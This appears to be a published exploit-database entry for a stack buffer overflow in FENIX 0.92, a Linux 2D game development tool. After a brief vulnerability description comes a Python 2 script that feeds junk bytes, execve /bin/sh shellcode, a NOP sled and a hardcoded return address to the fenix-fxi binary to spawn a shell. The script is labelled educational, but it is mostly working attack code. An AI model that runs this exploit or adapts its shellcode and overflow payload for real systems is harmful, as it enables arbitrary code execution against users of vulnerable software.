FENIX 0.92 - Buffer Overflow

2015-08-27 19:05:33

# Exploit Author: Juan Sacco - http://www.exploitpack.com <[email protected]>
# Program: fenix - development environment for making 2D games
# Tested on: GNU/Linux - Kali Linux 2.0
#
# Description: FENIX v0.92 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://fenix.divsite.net/
# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages
# MD5: 38bc1c509eb023c24a58cda0c5db19d9


import os,subprocess
def run():
try:
print "# FENIX v0.92 Stack-BoF by Juan Sacco"
print "# Wasting CPU clocks on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*4
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*254
eip = "\x44\xd2\xff\xbf"
subprocess.call(["fenix-fxi", junk + shellcode + nops + eip])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "FENIX not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit FENIX v0.92 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()

Fixes

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